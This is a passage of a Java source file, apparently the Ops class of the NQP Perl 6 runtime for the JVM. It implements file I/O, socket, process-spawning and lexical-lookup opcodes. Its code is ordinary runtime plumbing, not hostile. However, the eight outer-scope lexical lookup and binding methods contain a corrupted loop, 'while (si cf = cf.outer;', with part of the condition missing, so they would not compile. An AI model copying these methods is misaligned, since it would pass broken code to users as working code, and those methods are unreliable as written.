org.perl6.nqp.sixmodel.reprs.JavaObjectWrapper; import org.perl6.nqp.sixmodel.reprs.LexoticInstance; import org.perl6.nqp.sixmodel.reprs.MultiCacheInstance; import org.perl6.nqp.sixmodel.reprs.NFA; import org.perl6.nqp.sixmodel.reprs.NFAInstance; import org.perl6.nqp.sixmodel.reprs.NFAStateInfo; import org.perl6.nqp.sixmodel.reprs.P6bigintInstance; import org.perl6.nqp.sixmodel.reprs.SCRefInstance; import org.perl6.nqp.sixmodel.reprs.VMArray; import org.perl6.nqp.sixmodel.reprs.VMArrayInstance; import org.perl6.nqp.sixmodel.reprs.VMArrayInstance_i16; import org.perl6.nqp.sixmodel.reprs.VMArrayInstance_i32; import org.perl6.nqp.sixmodel.reprs.VMArrayInstance_i8; import org.perl6.nqp.sixmodel.reprs.VMArrayInstance_u8; import org.perl6.nqp.sixmodel.reprs.VMExceptionInstance; import org.perl6.nqp.sixmodel.reprs.VMHash; import org.perl6.nqp.sixmodel.reprs.VMHashInstance; import org.perl6.nqp.sixmodel.reprs.VMIterInstance; /** * Contains complex operations that are more involved that the simple ops that the * JVM makes available. */ public final class Ops { /* I/O opcodes */ public static String print(String v, ThreadContext tc) { tc.gc.out.print(v); return v; } public static String say(String v, ThreadContext tc) { tc.gc.out.println(v); return v; } public static final int STAT_EXISTS = 0; public static final int STAT_FILESIZE = 1; public static final int STAT_ISDIR = 2; public static final int STAT_ISREG = 3; public static final int STAT_ISDEV = 4; public static final int STAT_CREATETIME = 5; public static final int STAT_ACCESSTIME = 6; public static final int STAT_MODIFYTIME = 7; public static final int STAT_CHANGETIME = 8; public static final int STAT_BACKUPTIME = 9; public static final int STAT_UID = 10; public static final int STAT_GID = 11; public static final int STAT_ISLNK = 12; public static final int STAT_PLATFORM_DEV = -1; public static final int STAT_PLATFORM_INODE = -2; public static final int STAT_PLATFORM_MODE = -3; public static final int STAT_PLATFORM_NLINKS = -4; public static final int STAT_PLATFORM_DEVTYPE = -5; public static final int STAT_PLATFORM_BLOCKSIZE = -6; public static final int STAT_PLATFORM_BLOCKS = -7; public static long stat(String filename, long status) { long rval = -1; switch ((int) status) { case STAT_EXISTS: rval = new File(filename).exists() ? 1 : 0; break; case STAT_FILESIZE: rval = new File(filename).length(); break; case STAT_ISDIR: try { rval = (Boolean) Files.getAttribute(Paths.get(filename), "basic:isDirectory") ? 1 : 0; } catch (Exception e) { rval = -1; } break; case STAT_ISREG: try { rval = (Boolean) Files.getAttribute(Paths.get(filename), "basic:isRegularFile") ? 1 : 0; } catch (Exception e) { rval = -1; } break; case STAT_ISDEV: try { rval = (Boolean) Files.getAttribute(Paths.get(filename), "basic:isOther") ? 1 : 0; } catch (Exception e) { rval = -1; } break; case STAT_CREATETIME: try { rval = ((Number) Files.getAttribute(Paths.get(filename), "basic:creationTime")).longValue(); } catch (Exception e) { rval = -1; } break; case STAT_ACCESSTIME: try { rval = ((FileTime) Files.getAttribute(Paths.get(filename), "basic:lastAccessTime")).to(TimeUnit.SECONDS); } catch (Exception e) { rval = -1; } break; case STAT_MODIFYTIME: try { rval = ((FileTime) Files.getAttribute(Paths.get(filename), "basic:lastModifiedTime")).to(TimeUnit.SECONDS); } catch (Exception e) { rval = -1; } break; case STAT_CHANGETIME: try { rval = ((FileTime) Files.getAttribute(Paths.get(filename), "unix:ctime")).to(TimeUnit.SECONDS); } catch (Exception e) { rval = -1; } break; case STAT_BACKUPTIME: rval = -1; break; case STAT_UID: try { rval = ((Number) Files.getAttribute(Paths.get(filename), "unix:uid")).longValue(); } catch (Exception e) { rval = -1; } break; case STAT_GID: try { rval = ((Number) Files.getAttribute(Paths.get(filename), "unix:gid")).longValue(); } catch (Exception e) { rval = -1; } break; case STAT_ISLNK: try { rval = (Boolean) Files.getAttribute(Paths.get(filename), "basic:isSymbolicLink", LinkOption.NOFOLLOW_LINKS) ? 1 : 0; } catch (Exception e) { rval = -1; } break; case STAT_PLATFORM_DEV: try { rval = ((Number) Files.getAttribute(Paths.get(filename), "unix:dev")).longValue(); } catch (Exception e) { rval = -1; } break; case STAT_PLATFORM_INODE: try { rval = ((Number) Files.getAttribute(Paths.get(filename), "unix:ino")).longValue(); } catch (Exception e) { rval = -1; } break; case STAT_PLATFORM_MODE: try { rval = ((Number) Files.getAttribute(Paths.get(filename), "unix:mode")).longValue(); } catch (Exception e) { rval = -1; } break; case STAT_PLATFORM_NLINKS: try { rval = ((Number) Files.getAttribute(Paths.get(filename), "unix:nlink")).longValue(); } catch (Exception e) { rval = -1; } break; case STAT_PLATFORM_DEVTYPE: try { rval = ((Number) Files.getAttribute(Paths.get(filename), "unix:rdev")).longValue(); } catch (Exception e) { rval = -1; } break; case STAT_PLATFORM_BLOCKSIZE: throw new UnsupportedOperationException("STAT_PLATFORM_BLOCKSIZE not supported"); case STAT_PLATFORM_BLOCKS: throw new UnsupportedOperationException("STAT_PLATFORM_BLOCKS not supported"); default: break; } return rval; } public static SixModelObject open(String path, String mode, ThreadContext tc) { SixModelObject IOType = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.ioType; IOHandleInstance h = (IOHandleInstance)IOType.st.REPR.allocate(tc, IOType.st); h.handle = new FileHandle(tc, path, mode); return h; } public static SixModelObject openasync(String path, String mode, ThreadContext tc) { SixModelObject IOType = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.ioType; IOHandleInstance h = (IOHandleInstance)IOType.st.REPR.allocate(tc, IOType.st); h.handle = new AsyncFileHandle(tc, path, mode); return h; } public static SixModelObject socket(long listener, ThreadContext tc) { SixModelObject IOType = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.ioType; IOHandleInstance h = (IOHandleInstance)IOType.st.REPR.allocate(tc, IOType.st); if (listener == 0) { h.handle = new SocketHandle(tc); } else if (listener > 0) { h.handle = new ServerSocketHandle(tc); } else { ExceptionHandling.dieInternal(tc, "Socket handle does not support a negative listener value"); } return h; } public static SixModelObject connect(SixModelObject obj, String host, long port, ThreadContext tc) { IOHandleInstance h = (IOHandleInstance)obj; if (h.handle instanceof SocketHandle) { ((SocketHandle)h.handle).connect(tc, host, (int) port); } else { ExceptionHandling.dieInternal(tc, "This handle does not support connect"); } return obj; } public static SixModelObject bindsock(SixModelObject obj, String host, long port, ThreadContext tc) { IOHandleInstance h = (IOHandleInstance)obj; if (h.handle instanceof ServerSocketHandle) { ((ServerSocketHandle)h.handle).bind(tc, host, (int) port); } else { ExceptionHandling.dieInternal(tc, "This handle does not support bind"); } return obj; } public static SixModelObject accept(SixModelObject obj, ThreadContext tc) { IOHandleInstance listener = (IOHandleInstance)obj; if (listener.handle instanceof ServerSocketHandle) { SocketHandle handle = ((ServerSocketHandle)listener.handle).accept(tc); if (handle != null) { SixModelObject IOType = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.ioType; IOHandleInstance h = (IOHandleInstance)IOType.st.REPR.allocate(tc, IOType.st); h.handle = handle; return h; } } else { ExceptionHandling.dieInternal(tc, "This handle does not support accept"); } return null; } public static long filereadable(String path, ThreadContext tc) { Path path_o; long res; try { path_o = Paths.get(path); res = Files.isReadable(path_o) ? 1 : 0; } catch (Exception e) { die_s(e.getMessage(), tc); res = -1; /* unreachable */ } return res; } public static long filewritable(String path, ThreadContext tc) { Path path_o; long res; try { path_o = Paths.get(path); res = Files.isWritable(path_o) ? 1 : 0; } catch (Exception e) { die_s(e.getMessage(), tc); res = -1; /* unreachable */ } return res; } public static long fileexecutable(String path, ThreadContext tc) { Path path_o; long res; try { path_o = Paths.get(path); res = Files.isExecutable(path_o) ? 1 : 0; } catch (Exception e) { die_s(e.getMessage(), tc); res = -1; /* unreachable */ } return res; } public static long fileislink(String path, ThreadContext tc) { Path path_o; long res; try { path_o = Paths.get(path); res = Files.isSymbolicLink(path_o) ? 1 : 0; } catch (Exception e) { die_s(e.getMessage(), tc); res = -1; /* unreachable */ } return res; } public static SixModelObject getstdin(ThreadContext tc) { SixModelObject IOType = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.ioType; IOHandleInstance h = (IOHandleInstance)IOType.st.REPR.allocate(tc, IOType.st); h.handle = new StandardReadHandle(tc, tc.gc.in); return h; } public static SixModelObject getstdout(ThreadContext tc) { SixModelObject IOType = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.ioType; IOHandleInstance h = (IOHandleInstance)IOType.st.REPR.allocate(tc, IOType.st); h.handle = new StandardWriteHandle(tc, tc.gc.out); return h; } public static SixModelObject getstderr(ThreadContext tc) { SixModelObject IOType = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.ioType; IOHandleInstance h = (IOHandleInstance)IOType.st.REPR.allocate(tc, IOType.st); h.handle = new StandardWriteHandle(tc, tc.gc.err); return h; } public static SixModelObject setencoding(SixModelObject obj, String encoding, ThreadContext tc) { if (obj instanceof IOHandleInstance) { IOHandleInstance h = (IOHandleInstance)obj; Charset cs; if (encoding.equals("ascii")) cs = Charset.forName("US-ASCII"); else if (encoding.equals("iso-8859-1")) cs = Charset.forName("ISO-8859-1"); else if (encoding.equals("utf8")) cs = Charset.forName("UTF-8"); else if (encoding.equals("utf16")) cs = Charset.forName("UTF-16"); else if (encoding.equals("binary")) cs = Charset.forName("ISO-8859-1"); /* Byte oriented... */ else throw ExceptionHandling.dieInternal(tc, "Unsupported encoding " + encoding); if (h.handle instanceof IIOEncodable) ((IIOEncodable)h.handle).setEncoding(tc, cs); else throw ExceptionHandling.dieInternal(tc, "This handle does not support textual I/O"); } else { throw ExceptionHandling.dieInternal(tc, "setencoding requires an object with the IOHandle REPR"); } return obj; } public static SixModelObject setinputlinesep(SixModelObject obj, String sep, ThreadContext tc) { if (obj instanceof IOHandleInstance) { IOHandleInstance h = (IOHandleInstance)obj; if (h.handle instanceof IIOLineSeparable) ((IIOLineSeparable)h.handle).setInputLineSeparator(tc, sep); else throw ExceptionHandling.dieInternal(tc, "This handle does not support setting input line separator"); } else { throw ExceptionHandling.dieInternal(tc, "setinputlinesep requires an object with the IOHandle REPR"); } return obj; } public static long tellfh(SixModelObject obj, ThreadContext tc) { if (obj instanceof IOHandleInstance) { IOHandleInstance h = (IOHandleInstance)obj; if (h.handle instanceof IIOSeekable) return ((IIOSeekable)h.handle).tell(tc); else throw ExceptionHandling.dieInternal(tc, "This handle does not support tell"); } else { throw ExceptionHandling.dieInternal(tc, "tellfh requires an object with the IOHandle REPR"); } } public static SixModelObject readfh(SixModelObject io, SixModelObject res, long bytes, ThreadContext tc) { if (io instanceof IOHandleInstance) { IOHandleInstance h = (IOHandleInstance)io; if (h.handle instanceof IIOSyncReadable) { if (res instanceof VMArrayInstance_i8) { VMArrayInstance_i8 arr = (VMArrayInstance_i8)res; byte[] array = ((IIOSyncReadable)h.handle).read(tc, (int)bytes); arr.elems = array.length; arr.start = 0; arr.slots = array; return res; } else if (res instanceof VMArrayInstance_u8) { VMArrayInstance_u8 arr = (VMArrayInstance_u8)res; byte[] array = ((IIOSyncReadable)h.handle).read(tc, (int)bytes); arr.elems = array.length; arr.start = 0; arr.slots = array; return res; } else { throw ExceptionHandling.dieInternal(tc, "readfh requires a Buf[int8] or a Buf[uint8]"); } } else { throw ExceptionHandling.dieInternal(tc, "This handle does not support read"); } } else { throw ExceptionHandling.dieInternal(tc, "readfh requires an object with the IOHandle REPR"); } } public static SixModelObject writefh(SixModelObject obj, SixModelObject buf, ThreadContext tc) { ByteBuffer bb = decode8(buf, tc); if (obj instanceof IOHandleInstance) { IOHandleInstance h = (IOHandleInstance)obj; byte[] bytesToWrite = new byte[bb.limit()]; bb.get(bytesToWrite); if (h.handle instanceof IIOSyncWritable) ((IIOSyncWritable)h.handle).write(tc, bytesToWrite); else throw ExceptionHandling.dieInternal(tc, "This handle does not support write"); } else { throw ExceptionHandling.dieInternal(tc, "writefh requires an object with the IOHandle REPR"); } return buf; } public static String printfh(SixModelObject obj, String data, ThreadContext tc) { if (obj instanceof IOHandleInstance) { IOHandleInstance h = (IOHandleInstance)obj; if (h.handle instanceof IIOSyncWritable) ((IIOSyncWritable)h.handle).print(tc, data); else throw ExceptionHandling.dieInternal(tc, "This handle does not support print"); } else { throw ExceptionHandling.dieInternal(tc, "printfh requires an object with the IOHandle REPR"); } return data; } public static String sayfh(SixModelObject obj, String data, ThreadContext tc) { if (obj instanceof IOHandleInstance) { IOHandleInstance h = (IOHandleInstance)obj; if (h.handle instanceof IIOSyncWritable) ((IIOSyncWritable)h.handle).say(tc, data); else throw ExceptionHandling.dieInternal(tc, "This handle does not support say"); } else { throw ExceptionHandling.dieInternal(tc, "sayfh requires an object with the IOHandle REPR"); } return data; } public static SixModelObject flushfh(SixModelObject obj, ThreadContext tc) { if (obj instanceof IOHandleInstance) { IOHandleInstance h = (IOHandleInstance)obj; if (h.handle instanceof IIOSyncWritable) ((IIOSyncWritable)h.handle).flush(tc); else throw ExceptionHandling.dieInternal(tc, "This handle does not support flush"); } else { die_s("flushfh requires an object with the IOHandle REPR", tc); } return obj; } public static String readlinefh(SixModelObject obj, ThreadContext tc) { if (obj instanceof IOHandleInstance) { IOHandleInstance h = (IOHandleInstance)obj; if (h.handle instanceof IIOSyncReadable) return ((IIOSyncReadable)h.handle).readline(tc); else throw ExceptionHandling.dieInternal(tc, "This handle does not support readline"); } else { throw ExceptionHandling.dieInternal(tc, "readlinefh requires an object with the IOHandle REPR"); } } public static String readlineintfh(SixModelObject obj, String prompt, ThreadContext tc) { if (obj instanceof IOHandleInstance) { IOHandleInstance h = (IOHandleInstance)obj; if (h.handle instanceof IIOInteractive) return ((IIOInteractive)h.handle).readlineInteractive(tc, prompt); else throw ExceptionHandling.dieInternal(tc, "This handle does not support readline interactive"); } else { throw ExceptionHandling.dieInternal(tc, "readlineintfh requires an object with the IOHandle REPR"); } } public static String readallfh(SixModelObject obj, ThreadContext tc) { if (obj instanceof IOHandleInstance) { IOHandleInstance h = (IOHandleInstance)obj; if (h.handle instanceof IIOSyncReadable) return ((IIOSyncReadable)h.handle).slurp(tc); else throw ExceptionHandling.dieInternal(tc, "This handle does not support slurp"); } else { throw ExceptionHandling.dieInternal(tc, "readallfh requires an object with the IOHandle REPR"); } } public static String getcfh(SixModelObject obj, ThreadContext tc) { if (obj instanceof IOHandleInstance) { IOHandleInstance h = (IOHandleInstance)obj; if (h.handle instanceof IIOSyncReadable) return ((IIOSyncReadable)h.handle).getc(tc); else throw ExceptionHandling.dieInternal(tc, "This handle does not support getc"); } else { throw ExceptionHandling.dieInternal(tc, "getcfh requires an object with the IOHandle REPR"); } } public static long eoffh(SixModelObject obj, ThreadContext tc) { if (obj instanceof IOHandleInstance) { IOHandleInstance h = (IOHandleInstance)obj; if (h.handle instanceof IIOSyncReadable) return ((IIOSyncReadable)h.handle).eof(tc) ? 1 : 0; else throw ExceptionHandling.dieInternal(tc, "This handle does not support eof"); } else { throw ExceptionHandling.dieInternal(tc, "eoffh requires an object with the IOHandle REPR"); } } public static SixModelObject slurpasync(SixModelObject obj, SixModelObject resultType, SixModelObject done, SixModelObject error, ThreadContext tc) { if (obj instanceof IOHandleInstance) { IOHandleInstance h = (IOHandleInstance)obj; if (h.handle instanceof IIOAsyncReadable) ((IIOAsyncReadable)h.handle).slurp(tc, resultType, done, error); else throw ExceptionHandling.dieInternal(tc, "This handle does not support async slurp"); } else { die_s("slurpasync requires an object with the IOHandle REPR", tc); } return obj; } @SuppressWarnings({ "unchecked", "rawtypes" }) public static SixModelObject linesasync(SixModelObject obj, SixModelObject resultType, long chomp, SixModelObject queue, SixModelObject done, SixModelObject error, ThreadContext tc) { if (obj instanceof IOHandleInstance) { IOHandleInstance h = (IOHandleInstance)obj; if (h.handle instanceof IIOAsyncReadable) ((IIOAsyncReadable)h.handle).lines(tc, resultType, chomp != 0, (LinkedBlockingQueue)((JavaObjectWrapper)queue).theObject, done, error); else throw ExceptionHandling.dieInternal(tc, "This handle does not support async lines"); } else { die_s("linesasync requires an object with the IOHandle REPR", tc); } return obj; } public static SixModelObject closefh(SixModelObject obj, ThreadContext tc) { if (obj instanceof IOHandleInstance) { IOHandleInstance h = (IOHandleInstance)obj; if (h.handle instanceof IIOClosable) ((IIOClosable)h.handle).close(tc); else throw ExceptionHandling.dieInternal(tc, "This handle does not support close"); } else { die_s("closefh requires an object with the IOHandle REPR", tc); } return obj; } public static Set<PosixFilePermission> modeToPosixFilePermission(long mode) { Set<PosixFilePermission> perms = EnumSet.noneOf(PosixFilePermission.class); if ((mode & 0001) != 0) perms.add(PosixFilePermission.OTHERS_EXECUTE); if ((mode & 0002) != 0) perms.add(PosixFilePermission.OTHERS_WRITE); if ((mode & 0004) != 0) perms.add(PosixFilePermission.OTHERS_READ); if ((mode & 0010) != 0) perms.add(PosixFilePermission.GROUP_EXECUTE); if ((mode & 0020) != 0) perms.add(PosixFilePermission.GROUP_WRITE); if ((mode & 0040) != 0) perms.add(PosixFilePermission.GROUP_READ); if ((mode & 0100) != 0) perms.add(PosixFilePermission.OWNER_EXECUTE); if ((mode & 0200) != 0) perms.add(PosixFilePermission.OWNER_WRITE); if ((mode & 0400) != 0) perms.add(PosixFilePermission.OWNER_READ); return perms; } public static long chmod(String path, long mode, ThreadContext tc) { Path path_o; try { path_o = Paths.get(path); Set<PosixFilePermission> perms = modeToPosixFilePermission(mode); Files.setPosixFilePermissions(path_o, perms); } catch (Exception e) { die_s(IOExceptionMessages.message(e), tc); } return 0; } public static long unlink(String path, ThreadContext tc) { try { if(!Files.deleteIfExists(Paths.get(path))) { return -2; } } catch (Exception e) { die_s(IOExceptionMessages.message(e), tc); } return 0; } public static long rmdir(String path, ThreadContext tc) { Path path_o = Paths.get(path); try { if (!Files.isDirectory(path_o)) { return -2; } Files.delete(path_o); } catch (Exception e) { die_s(IOExceptionMessages.message(e), tc); } return 0; } public static String cwd() { return System.getProperty("user.dir"); } public static String chdir(String path, ThreadContext tc) { die_s("chdir is not available on JVM", tc); return null; } public static long mkdir(String path, long mode, ThreadContext tc) { try { String os = System.getProperty("os.name").toLowerCase(); if (os.indexOf("win") >= 0) Files.createDirectory(Paths.get(path)); else Files.createDirectory(Paths.get(path), PosixFilePermissions.asFileAttribute(modeToPosixFilePermission(mode))); } catch (Exception e) { die_s(IOExceptionMessages.message(e), tc); } return 0; } public static long rename(String before, String after, ThreadContext tc) { Path before_o = Paths.get(before); Path after_o = Paths.get(after); try { Files.move(before_o, after_o); } catch (Exception e) { die_s(IOExceptionMessages.message(e), tc); } return 0; } public static long copy(String before, String after, ThreadContext tc) { Path before_o = Paths.get(before); Path after_o = Paths.get(after); try { Files.copy( before_o, after_o, StandardCopyOption.REPLACE_EXISTING); } catch (Exception e) { die_s(IOExceptionMessages.message(e), tc); } return 0; } public static long link(String before, String after, ThreadContext tc) { Path before_o = Paths.get(before); Path after_o = Paths.get(after); try { Files.createLink(before_o, after_o); } catch (Exception e) { die_s(IOExceptionMessages.message(e), tc); } return 0; } public static SixModelObject openpipe(String cmd, String dir, SixModelObject envObj, String errPath, ThreadContext tc) { // TODO: errPath NYI Map<String, String> env = new HashMap<String, String>(); SixModelObject iter = iter(envObj, tc); while (istrue(iter, tc) != 0) { SixModelObject kv = iter.shift_boxed(tc); String key = iterkey_s(kv, tc); String value = unbox_s(iterval(kv, tc), tc); env.put(key, value); } SixModelObject IOType = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.ioType; IOHandleInstance h = (IOHandleInstance)IOType.st.REPR.allocate(tc, IOType.st); h.handle = new ProcessHandle(tc, cmd, dir, env); return h; } public static String gethostname(){ try { String hostname = InetAddress.getLocalHost().getHostName(); return hostname; } catch (Exception e) { return null; } } // To be removed once shell3 is adopted public static long shell1(String cmd, ThreadContext tc) { return shell3(cmd, cwd(), getenvhash(tc), tc); } public static long shell3(String cmd, String dir, SixModelObject envObj, ThreadContext tc) { Map<String, String> env = new HashMap<String, String>(); SixModelObject iter = iter(envObj, tc); while (istrue(iter, tc) != 0) { SixModelObject kv = iter.shift_boxed(tc); String key = iterkey_s(kv, tc); String value = unbox_s(iterval(kv, tc), tc); env.put(key, value); } List<String> args = new ArrayList<String>(); String os = System.getProperty("os.name").toLowerCase(); if (os.indexOf("win") >= 0) { args.add("cmd"); args.add("/c"); args.add(cmd.replace('/', '\\')); } else { args.add("sh"); args.add("-c"); args.add(cmd); } return spawn(args, dir, env); } public static long spawn(SixModelObject argsObj, String dir, SixModelObject envObj, ThreadContext tc) { List<String> args = new ArrayList<String>(); SixModelObject argIter = iter(argsObj, tc); while (istrue(argIter, tc) != 0) { SixModelObject v = argIter.shift_boxed(tc); String arg = v.get_str(tc); args.add(arg); } Map<String, String> env = new HashMap<String, String>(); SixModelObject iter = iter(envObj, tc); while (istrue(iter, tc) != 0) { SixModelObject kv = iter.shift_boxed(tc); String key = iterkey_s(kv, tc); String value = unbox_s(iterval(kv, tc), tc); env.put(key, value); } return spawn(args, dir , env); } private static long spawn(List<String> args, String dir, Map<String, String> env) { long retval = 255; try { ProcessBuilder pb = new ProcessBuilder(args); pb.directory(new File(dir)); // Clear the JVM inherited environment and use provided only Map<String, String> pbEnv = pb.environment(); pbEnv.clear(); pbEnv.putAll(env); Process proc = pb.inheritIO().start(); boolean finished = false; do { try { proc.waitFor(); finished = true; } catch (InterruptedException e) { } } while (!finished); retval = proc.exitValue(); } catch (IOException e) { } /* Return exit code left shifted by 8 for POSIX emulation. */ return retval << 8; } public static long symlink(String before, String after, ThreadContext tc) { Path before_o = Paths.get(before); Path after_o = Paths.get(after); try { Files.createSymbolicLink(before_o, after_o); } catch (Exception e) { die_s(IOExceptionMessages.message(e), tc); } return 0; } public static SixModelObject opendir(String path, ThreadContext tc) { try { DirectoryStream<Path> dirstrm = Files.newDirectoryStream(Paths.get(path)); SixModelObject IOType = tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.ioType; IOHandleInstance ioh = (IOHandleInstance)IOType.st.REPR.allocate(tc, IOType.st); ioh.dirstrm = dirstrm; ioh.diri = dirstrm.iterator(); return ioh; } catch (Exception e) { die_s("nqp::opendir: unable to get a DirectoryStream", tc); } return null; } public static String nextfiledir(SixModelObject obj, ThreadContext tc) { try { if (obj instanceof IOHandleInstance) { IOHandleInstance ioh = (IOHandleInstance)obj; if (ioh.dirstrm != null && ioh.diri != null) { if (ioh.diri.hasNext()) { return ioh.diri.next().toString(); } else { return null; } } else { die_s("called nextfiledir on an IOHandle without a dirstream and/or iterator.", tc); } } else { die_s("nextfiledir requires an object with the IOHandle REPR", tc); } } catch (Exception e) { die_s("nqp::nextfiledir: unhandled exception", tc); } return null; } public static long closedir(SixModelObject obj, ThreadContext tc) { try { if (obj instanceof IOHandleInstance) { IOHandleInstance ioh = (IOHandleInstance)obj; ioh.diri = null; ioh.dirstrm.close(); ioh.dirstrm = null; } else { die_s("closedir requires an object with the IOHandle REPR", tc); } } catch (Exception e) { die_s("nqp::closedir: unhandled exception", tc); } return 0; } /* Lexical lookup in current scope. */ public static long getlex_i(CallFrame cf, int i) { return cf.iLex[i]; } public static double getlex_n(CallFrame cf, int i) { return cf.nLex[i]; } public static String getlex_s(CallFrame cf, int i) { return cf.sLex[i]; } public static SixModelObject getlex_o(CallFrame cf, int i) { return cf.oLex[i]; } /* Lexical binding in current scope. */ public static long bindlex_i(long v, CallFrame cf, int i) { cf.iLex[i] = v; return v; } public static double bindlex_n(double v, CallFrame cf, int i) { cf.nLex[i] = v; return v; } public static String bindlex_s(String v, CallFrame cf, int i) { cf.sLex[i] = v; return v; } public static SixModelObject bindlex_o(SixModelObject v, CallFrame cf, int i) { cf.oLex[i] = v; return v; } /* Lexical lookup in outer scope. */ public static long getlex_i_si(CallFrame cf, int i, int si) { while (si cf = cf.outer; return cf.iLex[i]; } public static double getlex_n_si(CallFrame cf, int i, int si) { while (si cf = cf.outer; return cf.nLex[i]; } public static String getlex_s_si(CallFrame cf, int i, int si) { while (si cf = cf.outer; return cf.sLex[i]; } public static SixModelObject getlex_o_si(CallFrame cf, int i, int si) { while (si cf = cf.outer; return cf.oLex[i]; } /* Lexical binding in outer scope. */ public static long bindlex_i_si(long v, CallFrame cf, int i, int si) { while (si cf = cf.outer; cf.iLex[i] = v; return v; } public static double bindlex_n_si(double v, CallFrame cf, int i, int si) { while (si cf = cf.outer; cf.nLex[i] = v; return v; } public static String bindlex_s_si(String v, CallFrame cf, int i, int si) { while (si cf = cf.outer; cf.sLex[i] = v; return v; } public static SixModelObject bindlex_o_si(SixModelObject v, CallFrame cf, int i, int si) { while (si cf = cf.outer; cf.oLex[i] = v; return v; } /* Lexical lookup by name. */ public static SixModelObject getlex(String name, ThreadContext tc) { CallFrame curFrame = tc.curFrame; while (curFrame != null) { Integer found = curFrame.codeRef.staticInfo.oTryGetLexicalIdx(name); if (found != null) return curFrame.oLex[found]; curFrame = curFrame.outer; } return null; } public static long getlex_i(String name, ThreadContext tc) { CallFrame curFrame = tc.curFrame; while (curFrame != null) { Integer found = curFrame.codeRef.staticInfo.iTryGetLexicalIdx(name); if (found != null) return curFrame.iLex[found]; curFrame = curFrame.outer; } throw ExceptionHandling.dieInternal(tc, "Lexical '" + name + "' not found"); } public static double getlex_n(String name, ThreadContext tc) { CallFrame curFrame = tc.curFrame; while (curFrame != null) { Integer found = curFrame.codeRef.staticInfo.nTryGetLexicalIdx(name); if (found != null) return curFrame.nLex[found]; curFrame = curFrame.outer; } throw ExceptionHandling.dieInternal(tc, "Lexical '" + name + "' not found"); } public static String getlex_s(String name, ThreadContext tc) { CallFrame curFrame = tc.curFrame; while (curFrame != null) { Integer found = curFrame.codeRef.staticInfo.sTryGetLexicalIdx(name); if (found != null) return curFrame.sLex[found]; curFrame = curFrame.outer; } throw ExceptionHandling.dieInternal(tc, "Lexical '" + name + "' not found"); } public static SixModelObject getlexouter(String name, ThreadContext tc) { CallFrame curFrame = tc.curFrame.outer; while (curFrame != null) { Integer found = curFrame.codeRef.staticInfo.oTryGetLexicalIdx(name); if (found != null) return curFrame.oLex[found]; curFrame = curFrame.outer; } throw ExceptionHandling.dieInternal(tc, "Lexical '" + name + "' not found"); } /* Lexical binding by name. */ public static SixModelObject bindlex(String name, SixModelObject value, ThreadContext tc) { CallFrame curFrame = tc.curFrame; while (curFrame != null) { Integer found = curFrame.codeRef.staticInfo.oTryGetLexicalIdx(name); if (found != null) return curFrame.oLex[found] = value; curFrame = curFrame.outer; } throw ExceptionHandling.dieInternal(tc, "Lexical '" + name + "' not found"); } public static long bindlex_i(String name, long value, ThreadContext tc) { CallFrame curFrame = tc.curFrame; while (curFrame != null) { Integer found = curFrame.codeRef.staticInfo.iTryGetLexicalIdx(name); if (found != null) return curFrame.iLex[found] = value; curFrame = curFrame.outer; } throw ExceptionHandling.dieInternal(tc, "Lexical '" + name + "' not found"); } public static double bindlex_n(String name, double value, ThreadContext tc) { CallFrame curFrame = tc.curFrame; while (curFrame != null) { Integer found = curFrame.codeRef.staticInfo.nTryGetLexicalIdx(name); if (found != null) return curFrame.nLex[found] = value; curFrame = curFrame.outer; } throw ExceptionHandling.dieInternal(tc, "Lexical '" + name + "' not found"); } public static String bindlex_s(String name, String value, ThreadContext tc) { CallFrame curFrame = tc.curFrame; while (curFrame != null) { Integer found = curFrame.codeRef.staticInfo.sTryGetLexicalIdx(name); if (found != null) return curFrame.sLex[found] = value; curFrame = curFrame.outer; } throw ExceptionHandling.dieInternal(tc, "Lexical '" + name + "' not found"); } /* Dynamic lexicals. */ public static SixModelObject bindlexdyn(SixModelObject value, String name, ThreadContext tc) { CallFrame curFrame = tc.curFrame.caller; while (curFrame != null) { Integer idx = curFrame.codeRef.staticInfo.oTryGetLexicalIdx(name); if (idx != null) { curFrame.oLex[idx] = value; return value; } curFrame = curFrame.caller; } throw ExceptionHandling.dieInternal(tc, "Dyanmic variable '" + name + "' not found"); } public static SixModelObject getlexdyn(String name, ThreadContext tc) { CallFrame curFrame = tc.curFrame.caller; while (curFrame != null) { Integer idx = curFrame.codeRef.staticInfo.oTryGetLexicalIdx(name); if (idx != null) return curFrame.oLex[idx]; curFrame = curFrame.caller; } return null; } public static SixModelObject getlexcaller(String name, ThreadContext tc) { CallFrame curCallerFrame = tc.curFrame.caller; while (curCallerFrame != null) { CallFrame curFrame = curCallerFrame; while (curFrame != null) { Integer found = curFrame.codeRef.staticInfo.oTryGetLexicalIdx(name); if (found != null) return curFrame.oLex[found]; curFrame = curFrame.outer; } curCallerFrame = curCallerFrame.caller; } return null; } /* Relative lexical lookups. */ public static SixModelObject getlexrel(SixModelObject ctx, String name, ThreadContext tc) { if (ctx instanceof ContextRefInstance) { CallFrame curFrame = ((ContextRefInstance)ctx).context; while (curFrame != null) { Integer found = curFrame.codeRef.staticInfo.oTryGetLexicalIdx(name); if (found != null) return curFrame.oLex[found]; curFrame = curFrame.outer; } return null; } else { throw ExceptionHandling.dieInternal(tc, "getlexrel requires an operand with REPR ContextRef"); } } public static SixModelObject getlexreldyn(SixModelObject ctx, String name, ThreadContext tc) { if (ctx instanceof ContextRefInstance) { CallFrame curFrame = ((ContextRefInstance)ctx).context; while (curFrame != null) { Integer idx = curFrame.codeRef.staticInfo.oTryGetLexicalIdx(name); if (idx != null) return curFrame.oLex[idx]; curFrame = curFrame.caller; } return null; } else { throw ExceptionHandling.dieInternal(tc, "getlexreldyn requires an operand with REPR ContextRef"); } } public static SixModelObject getlexrelcaller(SixModelObject ctx, String name, ThreadContext tc) { if (ctx instanceof ContextRefInstance) { CallFrame curCallerFrame = ((ContextRefInstance)ctx).context; while (curCallerFrame != null) { CallFrame curFrame = curCallerFrame; while (curFrame != null) { Integer found = curFrame.codeRef.staticInfo.oTryGetLexicalIdx(name); if (found != null) return curFrame.oLex[found]; curFrame = curFrame.outer; } curCallerFrame = curCallerFrame.caller; } return null; } else { throw 